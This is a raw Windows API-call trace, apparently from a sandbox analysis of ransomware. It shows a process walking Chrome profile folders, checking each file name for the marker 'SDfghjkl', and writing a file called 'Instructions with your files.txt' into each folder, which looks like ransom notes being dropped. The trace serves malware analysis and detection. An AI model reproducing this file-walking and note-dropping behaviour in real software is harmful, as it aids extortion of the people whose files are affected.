[0130.379] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824d3190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824d3190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c3b6860, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x142f, dwReserved0=0x0, dwReserved1=0x0, cFileName="History Provider Cache", cAlternateFileName="HISTOR~2")) returned 1
[0130.379] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 102
[0130.379] StrStrIW (lpFirst="History Provider Cache", lpSrch="SDfghjkl") returned 0x0
[0130.379] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802fc800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802fc800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87f6d6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History-journal", cAlternateFileName="HISTOR~1")) returned 1
[0130.379] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 95
[0130.379] StrStrIW (lpFirst="History-journal", lpSrch="SDfghjkl") returned 0x0
[0130.379] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JumpListIcons", cAlternateFileName="JUMPLI~2")) returned 1
[0130.379] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons") returned 93
[0130.379] GetProcessHeap () returned 0x810000
[0130.379] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.380] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*") returned 95
[0130.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.381] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\.") returned 95
[0130.381] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.381] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\..") returned 96
[0130.381] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A058.tmp", cAlternateFileName="")) returned 1
[0130.381] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A058.tmp") returned 102
[0130.381] StrStrIW (lpFirst="A058.tmp", lpSrch="SDfghjkl") returned 0x0
[0130.381] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A059.tmp", cAlternateFileName="")) returned 1
[0130.381] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\A059.tmp") returned 102
[0130.381] StrStrIW (lpFirst="A059.tmp", lpSrch="SDfghjkl") returned 0x0
[0130.381] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A059.tmp", cAlternateFileName="")) returned 0
[0130.381] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\Instructions with your files.txt") returned 126
[0130.381] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticons\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.382] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.383] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.383] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.383] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.383] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.383] CloseHandle (hObject=0x124) returned 1
[0130.383] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.383] GetProcessHeap () returned 0x810000
[0130.383] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.383] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JumpListIconsOld", cAlternateFileName="JUMPLI~1")) returned 1
[0130.383] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld") returned 96
[0130.383] GetProcessHeap () returned 0x810000
[0130.383] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.383] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\*") returned 98
[0130.383] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.384] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\.") returned 98
[0130.384] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.384] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\..") returned 99
[0130.384] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2B03.tmp", cAlternateFileName="")) returned 1
[0130.384] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B03.tmp") returned 105
[0130.384] StrStrIW (lpFirst="2B03.tmp", lpSrch="SDfghjkl") returned 0x0
[0130.384] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2B04.tmp", cAlternateFileName="")) returned 1
[0130.384] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 105
[0130.384] StrStrIW (lpFirst="2B04.tmp", lpSrch="SDfghjkl") returned 0x0
[0130.384] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2B04.tmp", cAlternateFileName="")) returned 0
[0130.384] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\Instructions with your files.txt") returned 129
[0130.384] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0130.384] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0130.385] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0130.385] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0130.385] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0130.386] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0130.386] CloseHandle (hObject=0x124) returned 1
[0130.386] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0130.386] GetProcessHeap () returned 0x810000
[0130.386] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0130.386] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local Extension Settings", cAlternateFileName="LOCALE~1")) returned 1
[0130.386] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings") returned 104
[0130.386] GetProcessHeap () returned 0x810000
[0130.386] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0130.386] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*") returned 106
[0130.386] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0130.386] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\.") returned 106
[0130.386] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.386] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\..") returned 107
[0130.386] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1
[0130.386] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned 137
[0130.386] GetProcessHeap () returned 0x810000
[0130.386] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0130.387] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*") returned 139
[0130.387] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.389] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\.") returned 139
[0130.389] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.389] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\..") returned 140
[0130.389] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86513570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1
[0130.389] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log") returned 148
[0130.389] StrStrIW (lpFirst="000003.log", lpSrch="SDfghjkl") returned 0x0
[0130.389] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1
[0130.389] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT") returned 145
[0130.389] StrStrIW (lpFirst="CURRENT", lpSrch="SDfghjkl") returned 0x0
[0130.389] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1
[0130.389] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\LOCK") returned 142
[0130.389] StrStrIW (lpFirst="LOCK", lpSrch="SDfghjkl") returned 0x0
